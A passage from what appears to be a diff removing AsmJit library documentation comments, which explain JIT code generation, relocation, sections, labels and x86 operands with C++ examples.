be released before `main()` returns, -//! // the generated function can be, however, released explicitly if you intend to -//! // reuse or keep the runtime alive, which you should in a production-ready code. -//! rt.release(fn); -//! -//! return 0; -//! } -//! ``` -//! -//! The example above used \ref x86::Assembler as an emitter. AsmJit provides the -//! following emitters that offer various levels of abstraction: -//! -//! - \ref asmjit_assembler - Low-level emitter that emits directly to \ref CodeBuffer. -//! - \ref asmjit_builder - Low-level emitter that emits to a \ref BaseNode list. -//! - \ref asmjit_compiler - High-level emitter that provides register allocation. -//! -//! ### Targets and JitRuntime -//! -//! AsmJit's \ref Target is an interface that provides basic target abstraction. -//! At the moment AsmJit provides only one implementation called \ref JitRuntime, -//! which as the name suggests provides JIT code target and execution runtime. -//! \ref JitRuntime provides all the necessary stuff to implement a simple JIT -//! compiler with basic memory management. It only provides \ref JitRuntime::add() -//! and \ref JitRuntime::release() functions that are used to either add code -//! to the runtime or release it. \ref JitRuntime doesn't do any decisions on -//! when the code should be released, the decision is up to the developer. -//! -//! See more at \ref asmjit_virtual_memory group. -//! -//! ### More About Environment -//! -//! In the previous example the \ref Environment is retrieved from \ref JitRuntime. -//! It's logical as \ref JitRuntime always returns an \ref Environment that is -//! compatible with the host. For example if your application runs in 64-bit mode -//! the \ref Environment returned will use \ref Environment::kArchX64 architecture -//! in contrast to \ref Environment::kArchX86, which will be used in 32-bit mode on -//! any X86 platform. -//! -//! AsmJit allows to setup the \ref Environment manually and to select a different -//! architecture and ABI when necessary. So let's do something else this time, let's -//! always generate a 32-bit code and print its binary representation. To do that, we -//! can create our own \ref Environment and initialize it to \ref Environment::kArchX86. -//! -//! ``` -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! int main(int argc, char* argv[]) { -//! using namespace asmjit::x86; -//! -//! // Create a custom environment initialized to 32-bit X86 architecture. -//! Environment env; -//! env.setArch(Environment::kArchX86); -//! -//! CodeHolder code; // Create a CodeHolder. -//! code.init(env); // Initialize CodeHolder with custom environment. -//! -//! // Generate a 32-bit function that sums 4 floats and looks like: -//! // void func(float* dst, const float* a, const float* b) -//! x86::Assembler a(&code); // Create and attach x86::Assembler to `code`. -//! -//! a.mov(eax, dword_ptr(esp, 4)); // Load the destination pointer. -//! a.mov(ecx, dword_ptr(esp, 8)); // Load the first source pointer. -//! a.mov(edx, dword_ptr(esp, 12)); // Load the second source pointer. -//! -//! a.movups(xmm0, ptr(ecx)); // Load 4 floats from [ecx] to XMM0. -//! a.movups(xmm1, ptr(edx)); // Load 4 floats from [edx] to XMM1. -//! a.addps(xmm0, xmm1); // Add 4 floats in XMM1 to XMM0. -//! a.movups(ptr(eax), xmm0); // Store the result to [eax]. -//! a.ret(); // Return from function. -//! -//! // We have no Runtime this time, it's on us what we do with the code. -//! // CodeHolder stores code in Section, which provides some basic properties -//! // and CodeBuffer structure. We are interested in section's CodeBuffer. -//! // -//! // NOTE: The first section is always '.text', it can be retrieved by -//! // code.sectionById(0) or simply by code.textSection(). -//! CodeBuffer& buffer = code.textSection()->buffer(); -//! -//! // Print the machine-code generated or do something else with it... -//! // 8B4424048B4C24048B5424040F28010F58010F2900C3 -//! for (size_t i = 0; i < buffer.length; i++) -//! printf("%02X", buffer.data[i]); -//! -//! return 0; -//! } -//! ``` -//! -//! ### Explicit Code Relocation -//! -//! In addition to \ref Environment, \ref CodeHolder can be configured to -//! specify a base-address (or a virtual base-address in a linker terminology), -//! which could be static (useful when you know the location where the target's -//! machine code will be) or dynamic. AsmJit assumes dynamic base-address by -//! default and relocates the code held by \ref CodeHolder to a user provided -//! address on-demand. To be able to relocate to a user provided address it needs -//! to store some information about relocations, which is represented by \ref -//! RelocEntry. Relocation entries are only required if you call external functions -//! from the generated code that cannot be encoded by using a 32-bit displacement -//! (64-bit displacements are not provided by aby supported architecture). -//! -//! There is also a concept called \ref LabelLink - label link is a lightweight -//! data structure that doesn't have any identifier and is stored in \ref LabelEntry -//! as a single-linked list. Label link represents either unbound yet used label -//! and cross-sections links (only relevant to code that uses multiple sections). -//! Since crossing sections is something that cannot be resolved immediately these -//! links persist until offsets of these sections are assigned and until -//! \ref CodeHolder::resolveUnresolvedLinks() is called. It's an error if you end -//! up with code that has unresolved label links after flattening. You can verify -//! it by calling \ref CodeHolder::hasUnresolvedLinks(), which inspects the value -//! returned by \ref CodeHolder::unresolvedLinkCount(). -//! -//! AsmJit can flatten code that uses multiple sections by assigning each section -//! an incrementing offset that respects its alignment. Use \ref CodeHolder::flatten() -//! to do that. After the sections are flattened their offsets and virtual-sizes -//! are adjusted to respect each section's buffer size and alignment. The \ref -//! CodeHolder::resolveUnresolvedLinks() function must be called before relocating -//! the code held by \ref CodeHolder. You can also flatten your code manually by -//! iterating over all sections and calculating their offsets (relative to base) -//! by your own algorithm. In that case \ref CodeHolder::flatten() should not be -//! called, however, \ref CodeHolder::resolveUnresolvedLinks() should be. -//! -//! The example below shows how to use a built-in virtual memory allocator -//! \ref JitAllocator instead of using \ref JitRuntime (just in case you want -//! to use your own memory management) and how to relocate the generated code -//! into your own memory block - you can use your own virtual memory allocator -//! if you prefer that, but that's OS specific and not covered by the documentation. -//! -//! The following code is similar to the previous one, but implements a function -//! working in both 32-bit and 64-bit environments: -//! -//! ``` -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! typedef void (*SumIntsFunc)(int* dst, const int* a, const int* b); -//! -//! int main() { -//! // Create a custom environment that matches the current host environment. -//! Environment env = hostEnvironment(); -//! -//! CodeHolder code; // Create a CodeHolder. -//! code.init(env); // Initialize CodeHolder with environment. -//! -//! x86::Assembler a(&code); // Create and attach x86::Assembler to `code`. -//! -//! // Signature: 'void func(int* dst, const int* a, const int* b)'. -//! x86::Gp dst; -//! x86::Gp src_a; -//! x86::Gp src_b; -//! -//! // Handle the difference between 32-bit and 64-bit calling conventions -//! // (arguments passed through stack vs. arguments passed by registers). -//! if (env.is32Bit()) { -//! dst = x86::eax; -//! src_a = x86::ecx; -//! src_b = x86::edx; -//! a.mov(dst , x86::dword_ptr(x86::esp, 4)); -//! a.mov(src_a, x86::dword_ptr(x86::esp, 8)); -//! a.mov(src_b, x86::dword_ptr(x86::esp, 12)); -//! } -//! else { -//! if (env.isPlatformWindows()) { -//! dst = x86::rcx; // First argument (destination pointer). -//! src_a = x86::rdx; // Second argument (source 'a' pointer). -//! src_b = x86::r8; // Third argument (source 'b' pointer). -//! } -//! else { -//! dst = x86::rdi; // First argument (destination pointer). -//! src_a = x86::rsi; // Second argument (source 'a' pointer). -//! src_b = x86::rdx; // Third argument (source 'b' pointer). -//! } -//! } -//! -//! a.movdqu(x86::xmm0, x86::ptr(src_a)); // Load 4 ints from [src_a] to XMM0. -//! a.movdqu(x86::xmm1, x86::ptr(src_b)); // Load 4 ints from [src_b] to XMM1. -//! a.paddd(x86::xmm0, x86::xmm1); // Add 4 ints in XMM1 to XMM0. -//! a.movdqu(x86::ptr(dst), x86::xmm0); // Store the result to [dst]. -//! a.ret(); // Return from function. -//! -//! // Even when we didn't use multiple sections AsmJit could insert one section -//! // called '.addrtab' (address table section), which would be filled by data -//! // required by relocations (absolute jumps and calls). You can omit this code -//! // if you are 100% sure your code doesn't contain multiple sections and -//! // such relocations. You can use `CodeHolder::hasAddressTable()` to verify -//! // whether the address table section does exist. -//! code.flatten(); -//! code.resolveUnresolvedLinks(); -//! -//! // After the code was generated it can be relocated manually to any memory -//! // location, however, we need to know it's size before we perform memory -//! // allocation. `CodeHolder::codeSize()` returns the worst estimated code -//! // size in case that relocations are not possible without trampolines (in -//! // that case some extra code at the end of the current code buffer is -//! // generated during relocation). -//! size_t estimatedSize = code.codeSize(); -//! -//! // Instead of rolling up our own memory allocator we can use the one AsmJit -//! // provides. It's decoupled so you don't need to use `JitRuntime` for that. -//! JitAllocator allocator; -//! -//! // Allocate an executable virtual memory and handle a possible failure. -//! void* p = allocator.alloc(estimatedSize); -//! if (!p) -//! return 0; -//! -//! // Now relocate the code to the address provided by the memory allocator. -//! // Please note that this DOESN'T COPY anything to `p`. This function will -//! // store the address in CodeHolder and use relocation entries to patch the -//! // existing code in all sections to respect the base address provided. -//! code.relocateToBase((uint64_t)p); -//! -//! // This is purely optional. There are cases in which the relocation can omit -//! // unneeded data, which would shrink the size of address table. If that -//! // happened the codeSize returned after relocateToBase() would be smaller -//! // than the originally `estimatedSize`. -//! size_t codeSize = code.codeSize(); -//! -//! // This will copy code from all sections to `p`. Iterating over all sections -//! // and calling `memcpy()` would work as well, however, this function supports -//! // additional options that can be used to also zero pad sections' virtual -//! // size, etc. -//! // -//! // With some additional features, copyFlattenData() does roughly this: -//! // for (Section* section : code.sections()) -//! // memcpy((uint8_t*)p + section->offset(), -//! // section->data(), -//! // section->bufferSize()); -//! code.copyFlattenedData(p, codeSize, CodeHolder::kCopyPadSectionBuffer); -//! -//! // Execute the generated function. -//! int inA[4] = { 4, 3, 2, 1 }; -//! int inB[4] = { 1, 5, 2, 8 }; -//! int out[4]; -//! -//! // This code uses AsmJit's ptr_as_func<> to cast between void* and SumIntsFunc. -//! ptr_as_func(p)(out, inA, inB); -//! -//! // Prints {5 8 4 9} -//! printf("{%d %d %d %d}\n", out[0], out[1], out[2], out[3]); -//! -//! // Release 'p' is it's no longer needed. It will be destroyed with 'vm' -//! // instance anyway, but it's a good practice to release it explicitly -//! // when you know that the function will not be needed anymore. -//! allocator.release(p); -//! -//! return 0; -//! } -//! ``` -//! -//! If you know the base-address in advance (before the code generation) it can -//! be passed as a second argument to \ref CodeHolder::init(). In that case the -//! Assembler will know the absolute position of each instruction and would be -//! able to use it during instruction encoding to prevent relocations where -//! possible. The following example shows how to configure the base address: -//! -//! ``` -//! #include -//! #include -//! -//! void initializeCodeHolder(CodeHolder& code) { -//! Environment env = hostEnvironment(); -//! uint64_t baseAddress = uint64_t(0x1234); -//! -//! // initialize CodeHolder with environment and custom base address. -//! code.init(env, baseAddress); -//! } -//! ``` -//! -//! ### Label Offsets and Links -//! -//! When a label that is not yet bound is used by the Assembler, it creates a -//! \ref LabelLink, which is then added to a \ref LabelEntry. These links are -//! also created if a label is used in a different section than in which it -//! was bound. Let's examine some functions that can be used to check whether -//! there are any unresolved links. -//! -//! ``` -//! #include -//! #include -//! -//! void labelLinksExample(CodeHolder& code, const Label& label) { -//! // Tests whether the `label` is bound. -//! bool isBound = code.isLabelBound(label); -//! printf("Label %u is %s\n", label.id(), isBound ? "bound" : "not bound"); -//! -//! // Returns true if the code contains either referenced, but unbound -//! // labels, or cross-section label links that are not resolved yet. -//! bool hasUnresolved = code.hasUnresolvedLinks(); // Boolean answer. -//! size_t nUnresolved = code.unresolvedLinkCount(); // Count of unresolved links. -//! -//! printf("Number of unresolved links: %zu\n", nUnresolved); -//! } -//! ``` -//! -//! There is no function that would return the number of unbound labels as this -//! is completely unimportant from CodeHolder's perspective. If a label is not -//! used then it doesn't matter whether it's bound or not, only actually used -//! labels matter. After a Label is bound it's possible to query its offset -//! offset relative to the start of the section where it was bound: -//! -//! ``` -//! #include -//! #include -//! -//! void labelOffsetExample(CodeHolder& code, const Label& label) { -//! // Label offset is known after it's bound. The offset provided is relative -//! // to the start of the section, see below for alternative. If the given -//! // label is not bound the offset returned will be zero. It's recommended -//! // to always check whether the label is bound before using its offset. -//! uint64_t sectionOffset = code.labelOffset(label); -//! printf("Label offset relative to section: %llu\n", (unsigned long long)sectionOffset); -//! -//! // If you use multiple sections and want the offset relative to the base. -//! // NOTE: This function expects that the section has already an offset and -//! // the label-link was resolved (if this is not true you will still get an -//! // offset relative to the start of the section). -//! uint64_t baseOffset = code.labelOffsetFromBase(label); -//! printf("Label offset relative to base: %llu\n", (unsigned long long)baseOffset); -//! } -//! ``` -//! -//! ### Sections -//! -//! AsmJit allows to create multiple sections within the same \ref CodeHolder. -//! A test-case [asmjit_test_x86_sections.cpp](https://github.com/asmjit/asmjit/blob/master/test/asmjit_test_x86_sections.cpp) -//! can be used as a reference point although the following example should -//! also provide a useful insight: -//! -//! ``` -//! #include -//! #include -//! -//! void sectionsExample(CodeHolder& code) { -//! // Text section is always provided as the first section. -//! Section* text = code.textSection(); // or code.sectionById(0); -//! -//! // To create another section use CodeHolder::newSection(). -//! Section* data; -//! Error err = code.newSection(&data, -//! ".data", // Section name -//! SIZE_MAX, // Name length if the name is not null terminated (or SIZE_MAX). -//! 0, // Section flags, see Section::Flags. -//! 8, // Section alignment, must be power of 2. -//! 0); // Section order value (optional, default 0). -//! -//! // When you switch sections in Assembler, Builder, or Compiler the cursor -//! // will always move to the end of that section. When you create an Assembler -//! // the cursor would be placed at the end of the first (.text) section, which -//! // is initially empty. -//! x86::Assembler a(&code); -//! Label L_Data = a.newLabel(); -//! -//! a.mov(x86::eax, x86::ebx); // Emits in .text section. -//! -//! a.section(data); // Switches to the end of .data section. -//! a.bind(L_Data); // Binds label in this .data section -//! a.db(0x01); // Emits byte in .data section. -//! -//! a.section(text); // Switches to the end of .text section. -//! a.add(x86::ebx, x86::eax); // Emits in .text section. -//! -//! // References a label in .text section, which was bound in .data section. -//! // This would create a LabelLink even when the L_Data is already bound, -//! // because the reference crosses sections. See below... -//! a.lea(x86::rsi, x86::ptr(L_Data)); -//! } -//! ``` -//! -//! The last line in the example above shows that a LabelLink would be created -//! even for bound labels that cross sections. In this case a referenced label -//! was bound in another section, which means that the link couldn't be resolved -//! at that moment. If your code uses sections, but you wish AsmJit to flatten -//! these sections (you don't plan to flatten them manually) then there is an -//! API for that. -//! -//! ``` -//! #include -//! #include -//! -//! // ... (continuing the previous example) ... -//! void sectionsExampleContinued(CodeHolder& code) { -//! // Suppose we have some code that contains multiple sections and -//! // we would like to flatten it by using AsmJit's built-in API: -//! Error err = code.flatten(); -//! if (err) { -//! // There are many reasons it can fail, so always handle a possible error. -//! printf("Failed to flatten the code: %s\n", DebugUtils::errorAsString(err)); -//! exit(1); -//! } -//! -//! // After flattening all sections would contain assigned offsets -//! // relative to base. Offsets are 64-bit unsigned integers so we -//! // cast them to `size_t` for simplicity. On 32-bit targets it's -//! // guaranteed that the offset cannot be greater than `2^32 - 1`. -//! printf("Data section offset %zu", size_t(data->offset())); -//! -//! // The flattening doesn't resolve unresolved label links, this -//! // has to be done manually as flattening can be done separately. -//! err = code.resolveUnresolvedLinks(); -//! if (err) { -//! // This is the kind of error that should always be handled... -//! printf("Failed to resolve label links: %s\n", DebugUtils::errorAsString(err)); -//! exit(1); -//! } -//! -//! if (code.hasUnresolvedLinks()) { -//! // This would mean either unbound label or some other issue. -//! printf("The code has %zu unbound labels\n", code.unresovedLinkCount()); -//! exit(1); -//! } -//! } -//! ``` - -// ============================================================================ -// [Documentation - asmjit_assembler] -// ============================================================================ - -//! \defgroup asmjit_assembler Assembler -//! \brief Assembler interface and operands. -//! -//! ### Overview -//! -//! AsmJit's Assembler is used to emit machine code directly into a \ref -//! CodeBuffer. In general, code generation with assembler requires the knowledge -//! of the following: -//! -//! - \ref BaseAssembler and architecture-specific assemblers: -//! - \ref x86::Assembler - Assembler specific to X86 architecture -//! - \ref Operand and its variations: -//! - \ref BaseReg - Base class for a register operand, inherited by: -//! - \ref x86::Reg - Register operand specific to X86 architecture. -//! - \ref BaseMem - Base class for a memory operand, inherited by: -//! - \ref x86::Mem - Memory operand specific to X86 architecture. -//! - \ref Imm - Immediate (value) operand. -//! - \ref Label - Label operand. -//! -//! \note Assembler examples use \ref x86::Assembler as abstract interfaces cannot -//! be used to generate code. -//! -//! ### Operand Basics -//! -//! Let's start with operands. \ref Operand is a data structure that defines a -//! data layout of any operand. It can be inherited, but any class inheriting -//! it cannot add any members to it, only the existing layout can be reused. -//! AsmJit allows to construct operands dynamically, to store them, and to query -//! a complete information about them at run-time. Operands are small (always 16 -//! bytes per \ref Operand) and can be copied and passed by value. Please never -//! allocate individual operands dynamically by using a `new` keyword - it would -//! work, but then you would have to be responsible for deleting such operands. -//! In AsmJit operands are always part of some other data structures like \ref -//! InstNode, which is part of \ref asmjit_builder tool. -//! -//! Operands contain only identifiers, but not pointers to any code-generation data. -//! For example \ref Label operand only provides label identifier, but not a pointer -//! to \ref LabelEntry structure. In AsmJit such IDs are used to link stuff together -//! without having to deal with pointers. -//! -//! AsmJit's operands all inherit from a base class called \ref Operand. Operands -//! have the following properties that are commonly accessible by getters and setters: -//! -//! - \ref Operand - Base operand, which only provides accessors that are common -//! to all operand types. -//! - \ref BaseReg - Describes either physical or virtual register. Physical -//! registers have id that matches the target's machine id directly whereas -//! virtual registers must be allocated into physical registers by a register -//! allocator pass. Register operand provides: -//! - Register Type - Unique id that describes each possible register provided -//! by the target architecture - for example X86 backend provides \ref -//! x86::Reg::RegType, which defines all variations of general purpose registers -//! (GPB-LO, GPB-HI, GPW, GPD, and GPQ) and all types of other registers like K, -//! MM, BND, XMM, YMM, and ZMM. -//! - Register Group - Groups multiple register types under a single group - for -//! example all general-purpose registers (of all sizes) on X86 are part of -//! \ref x86::Reg::kGroupGp and all SIMD registers (XMM, YMM, ZMM) are part -//! of \ref x86::Reg::kGroupVec. -//! - Register Size - Contains the size of the register in bytes. If the size -//! depends on the mode (32-bit vs 64-bit) then generally the higher size is -//! used (for example RIP register has size 8 by default). -//! - Register Id - Contains physical or virtual id of the register. -//! - \ref BaseMem - Used to reference a memory location. Memory operand provides: -//! - Base Register - A base register type and id (physical or virtual). -//! - Index Register - An index register type and id (physical or virtual). -//! - Offset - Displacement or absolute address to be referenced (32-bit if base -//! register is used and 64-bit if base register is not used). -//! - Flags that can describe various architecture dependent information (like -//! scale and segment-override on X86). -//! - \ref Imm - Immediate values are usually part of instructions (encoded within -//! the instruction itself) or data. -//! - \ref Label - used to reference a location in code or data. Labels must be -//! created by the \ref BaseEmitter or by \ref CodeHolder. Each label has its -//! unique id per \ref CodeHolder instance. -//! -//! ### Operand Manipulation -//! -//! AsmJit allows to construct operands dynamically, to store them, and to query -//! a complete information about them at run-time. Operands are small (always 16 -//! bytes per `Operand`) and should be always copied (by value) if you intend to -//! store them (don't create operands by using `new` keyword, it's not recommended). -//! Operands are safe to be passed to `memcpy()` and `memset()`, which becomes -//! handy when working with arrays of operands. If you set all members of an \ref -//! Operand to zero the operand would become NONE operand, which is the same as a -//! default constructed Operand. -//! -//! The example below illustrates how operands can be used and modified even -//! without using any other code generation classes. The example uses X86 -//! architecture-specific operands. -//! -//! ``` -//! #include -//! -//! using namespace asmjit; -//! -//! // Registers can be copied, it's a common practice. -//! x86::Gp dstRegByValue() { return x86::ecx; } -//! -//! void usingOperandsExample(x86::Assembler& a) { -//! // Gets `ecx` register returned by a function. -//! x86::Gp dst = dstRegByValue(); -//! // Gets `rax` register directly from the provided `x86` namespace. -//! x86::Gp src = x86::rax; -//! // Constructs `r10` dynamically. -//! x86::Gp idx = x86::gpq(10); -//! // Constructs [src + idx] memory address - referencing [rax + r10]. -//! x86::Mem m = x86::ptr(src, idx); -//! -//! // Examine `m`: Returns `x86::Reg::kTypeGpq`. -//! m.indexType(); -//! // Examine `m`: Returns 10 (`r10`). -//! m.indexId(); -//! -//! // Reconstruct `idx` stored in mem: -//! x86::Gp idx_2 = x86::Gp::fromTypeAndId(m.indexType(), m.indexId()); -//! -//! // True, `idx` and idx_2` are identical. -//! idx == idx_2; -//! -//! // Possible - op will still be the same as `m`. -//! Operand op = m; -//! // True (can be casted to BaseMem or architecture-specific Mem). -//! op.isMem(); -//! -//! // True, `op` is just a copy of `m`. -//! m == op; -//! -//! // Static cast is fine and valid here. -//! static_cast(op).addOffset(1); -//! // However, using `as()` to cast to a derived type is preferred. -//! op.as().addOffset(1); -//! // False, `op` now points to [rax + r10 + 2], which is not [rax + r10]. -//! m == op; -//! -//! // Emitting 'mov' - type safe way. -//! a.mov(dst, m); -//! // Not possible, `mov` doesn't provide mov(x86::Gp, Operand) overload. -//! a.mov(dst, op); -//! -//! // Type-unsafe, but possible. -//! a.emit(x86::Inst::kIdMov, dst, m); -//! // Also possible, `emit()` is typeless and can be used with raw Operand. -//! a.emit(x86::Inst::kIdMov, dst, op); -//! } -//! ``` -//! -//! Some operands have to be created explicitly by emitters. For example labels -//! must be created by \ref BaseEmitter::newLabel(), which creates a label entry -//! and returns a \ref Label operand with the id that refers to it. Such label -//! then can be used by emitters. -//! -//! ### Memory Operands -//! -//! Some architectures like X86 provide a complex memory addressing model that -//! allows to encode addresses having a BASE register, INDEX register with a -//! possible scale (left shift), and displacement (called offset in AsmJit). -//! Memory address on X86 can also specify memory segment (segment-override in -//! X86 terminology) and some instructions (gather / scatter) require INDEX to -//! be a \ref x86::Vec register instead of a general-purpose register. -//! -//! AsmJit allows to encode and work with all forms of addresses mentioned and -//! implemented by X86. In addition, it also allows to construct absolute 64-bit -//! memory address operands, which is only allowed in one form of 'mov' instruction. -//! -//! ``` -//! #include -//! -//! using namespace asmjit; -//! -//! void testX86Mem() { -//! // Makes it easier to access x86 stuff... -//! using namespace asmjit::x86; -//! -//! // BASE + OFFSET. -//! Mem a = ptr(rax); // a = [rax] -//! Mem b = ptr(rax, 15); // b = [rax + 15] -//! -//! // BASE + INDEX << SHIFT - Shift is in BITS as used by X86! -//! Mem c = ptr(rax, rbx); // c = [rax + rbx] -//! Mem d = ptr(rax, rbx, 2); // d = [rax + rbx << 2] -//! Mem e = ptr(rax, rbx, 2, 15); // e = [rax + rbx << 2 + 15] -//! -//! // BASE + VM (Vector Index) (encoded as MOD+VSIB). -//! Mem f = ptr(rax, xmm1); // f = [rax + xmm1] -//! Mem g = ptr(rax, xmm1, 2); // g = [rax + xmm1 << 2] -//! Mem h = ptr(rax, xmm1, 2, 15); // h = [rax + xmm1 << 2 + 15] -//! -//! // Absolute adddress: -//! uint64_t addr = (uint64_t)0x1234; -//! Mem i = ptr(addr); // i = [0x1234] -//! Mem j = ptr(addr, rbx); // j = [0x1234 + rbx] -//! Mem k = ptr(addr, rbx, 2); // k = [0x1234 + rbx << 2] -//! -//! // LABEL - Will be encoded as RIP (64-bit) or absolute address (32-bit). -//! Label L = ...; -//! Mem m = ptr(L); // m = [L] -//! Mem n = ptr(L, rbx); // n = [L + rbx] -//! Mem o = ptr(L, rbx, 2); // o = [L + rbx << 2] -//! Mem p = ptr(L, rbx, 2, 15); // p = [L + rbx << 2 + 15] -//! -//! // RIP - 64-bit only (RIP can't use INDEX). -//! Mem q = ptr(rip, 24); // q = [rip + 24] -//! } -//! ``` -//! -//! Memory operands can optionally contain memory size. This is required by -//! instructions where the memory size cannot be deduced from other operands, -//! like `inc` and `dec` on X86: -//! -//! ``` -//! #include -//! -//! using namespace asmjit; -//! -//! void testX86Mem() { -//! // The same as: dword ptr [rax + rbx]. -//! x86::Mem a = x86::dword_ptr(rax, rbx); -//! -//! // The same as: qword ptr [rdx + rsi << 0 + 1]. -//! x86::Mem b = x86::qword_ptr(rdx, rsi, 0, 1); -//! } -//! ``` -//! -//! Memory operands provide API that can be used to access its properties: -//! -//! ``` -//! #include -//! -//! using namespace asmjit; -//! -//! void testX86Mem() { -//! // The same as: dword ptr [rax + 12]. -//! x86::Mem mem = x86::dword_ptr(rax, 12); -//! -//! mem.hasBase(); // true. -//! mem.hasIndex(); // false. -//! mem.size(); // 4. -//! mem.offset(); // 12. -//! -//! mem.setSize(0); // Sets the size to 0 (makes it sizeless). -//! mem.addOffset(-1); // Adds -1 to the offset and makes it 11. -//! mem.setOffset(0); // Sets the offset to 0. -//! mem.setBase(rcx); // Changes BASE to RCX. -//! mem.setIndex(rax); // Changes INDEX to RAX. -//! mem.hasIndex(); // true. -//! } -//! // ... -//! ``` -//! -//! Making changes to memory operand is very comfortable when emitting loads -//! and stores: -//! -//! ``` -//! #include -//! -//! using namespace asmjit; -//! -//! void testX86Mem(CodeHolder& code) { -//! x86::Assembler a(code); // Your initialized x86::Assembler. -//! x86::Mem mSrc = x86::ptr(eax); // Construct [eax] memory operand. -//! -//! // One way of emitting bunch of loads is to use `mem.adjusted()`, which -//! // returns a new memory operand and keeps the source operand unchanged. -//! a.movaps(x86::xmm0, mSrc); // No adjustment needed to load [eax]. -//! a.movaps(x86::xmm1, mSrc.adjusted(16)); // Loads from [eax + 16]. -//! a.movaps(x86::xmm2, mSrc.adjusted(32)); // Loads from [eax + 32]. -//! a.movaps(x86::xmm3, mSrc.adjusted(48)); // Loads from [eax + 48]. -//! -//! // ... do something with xmm0-3 ... -//! -//! // Another way of adjusting memory is to change the operand in-place. -//! // If you want to keep the original operand you can simply clone it. -//! x86::Mem mDst = mSrc.clone(); // Clone mSrc. -//! -//! a.movaps(mDst, x86::xmm0); // Stores xmm0 to [eax]. -//! mDst.addOffset(16); // Adds 16 to `mDst`. -//! -//! a.movaps(mDst, x86::xmm1); // Stores to [eax + 16] . -//! mDst.addOffset(16); // Adds 16 to `mDst`. -//! -//! a.movaps(mDst, x86::xmm2); // Stores to [eax + 32]. -//! mDst.addOffset(16); // Adds 16 to `mDst`. -//! -//! a.movaps(mDst, x86::xmm3); // Stores to [eax + 48]. -//! } -//! ``` -//! -//! ### Assembler Examples -//! -//! - \ref x86::Assembler provides many X86/X64 examples. - -// ============================================================================ -// [Documentation - asmjit_builder] -// ============================================================================ - -//! \defgroup asmjit_builder Builder -//! \brief Builder interface, nodes, and passes. -//! -//! ### Overview -//! -//! Both \ref BaseBuilder and \ref BaseCompiler interfaces describe emitters -//! that emit into a representation that allows further processing. The code -//! stored in such representation is completely safe to be patched, simplified, -//! reordered, obfuscated, removed, injected, analyzed, or processed some other -//! way. Each instruction, label, directive, or other building block is stored -//! as \ref BaseNode (or derived class like \ref InstNode or \ref LabelNode) -//! and contains all the information necessary to pass that node later to the -//! assembler. -//! -//! \ref BaseBuilder is an emitter that inherits from \ref BaseEmitter interface. -//! It was designed to provide a maximum compatibility with the existing \ref -//! BaseAssembler emitter so users can move from assembler to builder when needed, -//! for example to implement post-processing, which is not possible with Assembler. -//! -//! ### Builder Nodes -//! -//! \ref BaseBuilder doesn't generate machine code directly, it uses an intermediate -//! representation based on nodes, however, it allows to serialize to \ref BaseAssembler -//! when the code is ready to be encoded. -//! -//! There are multiple node types used by both \ref BaseBuilder and \ref BaseCompiler : -//! -//! - Basic nodes: -//! - \ref BaseNode - Base class for all nodes. -//! - \ref InstNode - Represents an instruction node. -//! - \ref AlignNode - Represents an alignment directive (.align). -//! - \ref LabelNode - Represents a location where to bound a \ref Label. -//! -//! - Data nodes: -//! - \ref EmbedDataNode - Represents data. -//! - \ref EmbedLabelNode - Represents \ref Label address embedded as data. -//! - \ref EmbedLabelDeltaNode - Represents a difference of two labels -//! embedded in data. -//! - \ref ConstPoolNode - Represents a constant pool data embedded as data. -//! -//! - Informative nodes: -//! - \ref CommentNode - Represents a comment string, doesn't affect code -//! generation. -//! - \ref SentinelNode - A marker that can be used to remember certain -//! position in code or data, doesn't affect code generation. Used by -//! \ref FuncNode to mark the end of a function. -//! -//! - Other nodes are provided by \ref asmjit_compiler infrastructure. -//! -//! ### Builder Examples -//! -//! - \ref x86::Builder provides many X86/X64 examples. - -// ============================================================================ -// [Documentation - asmjit_compiler] -// ============================================================================ - -//! \defgroup asmjit_compiler Compiler -//! \brief Compiler interface. -//! -//! ### Overview -//! -//! \ref BaseCompiler is a high-level interface built on top of \ref BaseBuilder -//! interface, which provides register allocation and support for defining and -//! invoking functions. At the moment it's the easiest way of generating code -//! in AsmJit as most architecture and OS specifics is properly abstracted and -//! handled by AsmJit automatically. However, abstractions also mean restrictions, -//! which means that \ref BaseCompiler has more limitations than \ref BaseAssembler -//! or \ref BaseBuilder. -//! -//! Since \ref BaseCompiler provides register allocation it also establishes the -//! concept of functions - a function in Compiler sense is a unit in which virtual -//! registers are allocated into physical registers by the register allocator. -//! In addition, it enables to use such virtual registers in function invocations. -//! -//! \ref BaseCompiler automatically handles function calling conventions. It's -//! still architecture dependent, but makes the code generation much easies. -//! Functions are essential; the first-step to generate some code is to define a -//! signature of the function to be generated (before generating the function body -//! itself). Function arguments and return value(s) are handled by assigning -//! virtual registers to them. Similarly, function calls are handled the same way. -//! -//! ### Compiler Nodes -//! -//! \ref BaseCompiler adds some nodes that are required for function generation -//! and invocation: -//! -//! - \ref FuncNode - Represents a function definition. -//! - \ref FuncRetNode - Represents a function return. -//! - \ref InvokeNode - Represents a function invocation. -//! -//! \ref BaseCompiler also makes the use of passes (\ref Pass) and automatically -//! adds an architecture-dependent register allocator pass to the list of passes -//! when attached to \ref CodeHolder. -//! -//! ### Compiler Examples -//! -//! - \ref x86::Compiler provides many X86/X64 examples. -//! -//! ### Compiler Tips -//! -//! Users of AsmJit have done mistakes in the past, this section should provide -//! some useful tips for beginners: -//! -//! - Virtual registers in compiler are bound to a single function. At the -//! moment the implementation doesn't care whether a single virtual register -//! is used in multiple functions, but it sees it as two independent virtual -//! registers in that case. This means that virtual registers cannot be used -//! to implement global variables. Global variables are basically memory -//! addresses which functions can read from and write to, and they have to -//! be implemented in the same way. -//! -//! - Compiler provides a useful debugging functionality, which can be turned -//! on through \ref FormatOptions::Flags. Use \ref Logger::addFlags() to -//! turn on additional logging features when using Compiler. - -// ============================================================================ -// [Documentation - asmjit_function] -// ============================================================================ - -//! \defgroup asmjit_function Function -//! \brief Function definitions. -//! -//! ### Overview -//! -//! AsmJit provides functionality that can be used to define function signatures -//! and to calculate automatically optimal function frame that can be used directly -//! by a prolog and epilog insertion. This feature was exclusive to AsmJit's Compiler -//! for a very long time, but was abstracted out and is now available for all users -//! regardless of the emitter they use. The following use cases are possible: -//! -//! - Calculate function frame before the function is generated - this is the -//! only way available to \ref BaseAssembler users and it will be described -//! in this section. -//! -//! - Calculate function frame after the function is generated - this way is -//! generally used by \ref BaseBuilder and \ref BaseCompiler emitters and -//! this way is generally described in \ref asmjit_compiler section. -//! -//! The following concepts are used to describe and create functions in AsmJit: -//! -//! - \ref Type::Id - Type-id is 